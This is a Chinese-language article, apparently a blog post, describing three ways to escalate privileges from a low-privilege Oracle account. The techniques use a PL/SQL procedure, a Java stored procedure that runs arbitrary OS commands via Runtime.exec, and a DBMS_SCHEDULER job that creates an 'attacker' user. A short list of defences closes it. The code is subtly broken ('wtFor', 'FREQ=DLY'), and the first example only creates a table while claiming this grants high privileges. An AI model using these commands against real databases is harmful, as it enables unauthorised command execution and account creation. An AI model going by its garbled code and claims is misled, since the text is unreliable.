Oracle低权限提权技巧总结（oracle低权限提权）
Oracle低权限提权技巧总结
Oracle数据库是企业级应用中最常用的关系型数据库之一。由于其高度的可扩展性和安全性，Oracle数据库是企业安全策略的重要组成部分。但是，假设攻击者获得了系统管理员的低权限帐户，他们可以通过一些技巧来提升他们的权限并获取敏感数据。在本文中，我们将讨论一些常见的Oracle低权限提权技巧。
1.利用共享级别对象进行提权
Oracle数据库中的每个模式都有一个公共区域供其他模式共享访问。这些对象包括过程、函数、序列等等。如果攻击者获得了一个帐户，并且该帐户拥有对这些对象的权限，那么攻击者可以在某些情况下获取到高权限。攻击者可以创建一个存储过程，该过程是具有高权限的用户定义的，然后使用目标低权限用户执行该过程来达到提权的目的。以下是一个示例：
CREATE OR REPLACE PROCEDURE PROCEDURE_PRIVILEGE_ESCALATION IS
plsql_block VARCHAR2(1000);
BEGIN
plsql_block := ‘BEGIN
EXECUTE IMMEDIATE ”CREATE TABLE TEMP_TABLE(ID INTEGER, USERNAME VARCHAR2(20))”;
END;’;
EXECUTE IMMEDIATE plsql_block;
END;
该存储过程创建了一个名为TEMP_TABLE的表，攻击者可以访问该表并获取高权限。攻击者还可以创建其他类型的对象，如函数、触发器等等。
2. 利用Java存储过程进行提权
Oracle数据库允许开发人员在Java中编写存储过程以扩展其功能。攻击者可以创建自己的Java类，然后将其上传到数据库中。接下来，攻击者可以创建一个存储过程，其中包含对该类的引用。如果攻击者可以获得对该存储过程的访问权限，他们就可以使用该类来执行高权限操作。以下是一个示例：
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED “UserDefined.java” AS
public class UserDefined {
public static void execute(String command) {
try{
Process p = Runtime.getRuntime().exec(command);
p.wtFor();
}
catch(Exception e){
}
}
};
CREATE OR REPLACE PROCEDURE PROCEDURE_PRIVILEGE_ESCALATION AS LANGUAGE JAVA NAME ‘UserDefined.execute(String)’;
在此示例中，攻击者上传了一个名为UserDefined.java的Java类，其中包含可执行系统命令的代码。然后，攻击者创建了一个过程，该过程调用该类中的代码并执行任意系统命令。
3. 利用DBMS_SCHEDULER进行提权
Oracle数据库内置了一个调度程序，名为DBMS_SCHEDULER。攻击者可以创建自己的JOB（任务），并且在任务中运行任意PL/SQL或shell脚本。如果攻击者可以获得对任务的访问权限，则可以在其中运行高权限操作。
以下是一个示例：
BEGIN
DBMS_SCHEDULER.CREATE_JOB (
job_name => ‘job_name’,
job_type => ‘PLSQL_BLOCK’,
job_action => ‘BEGIN EXECUTE IMMEDIATE ”CREATE USER attacker IDENTIFIED BY 123456”; END;’,
start_date => SYSDATE,
repeat_interval => ‘FREQ=DLY;BYHOUR=3;BYMINUTE=0;BYSECOND=0’,
auto_drop => FALSE,
enabled => TRUE);
END;
在此示例中，攻击者创建了一个名为job_name的JOB，并在其中执行了一个具有高权限的PL/SQL块来创建一个新用户。攻击者可以使用新的攻击者帐户来获取更高的权限。
总结
这篇文章提供了三种Oracle数据库中的低权限提权技巧。这些技术可以帮助攻击者提升他们的权限，因此开发人员和管理人员需要采取措施来保护数据库。以下是几个预防技术：
– 对数据库进行安全审计，发现并修复权限问题和漏洞
– 实施最小权限原则，确保每个用户仅具有访问所需对象的最低权限
– 对输入进行正确的验证和清理，以防止SQL注入攻击
– 对数据库中存储的密码使用加密算法进行加密
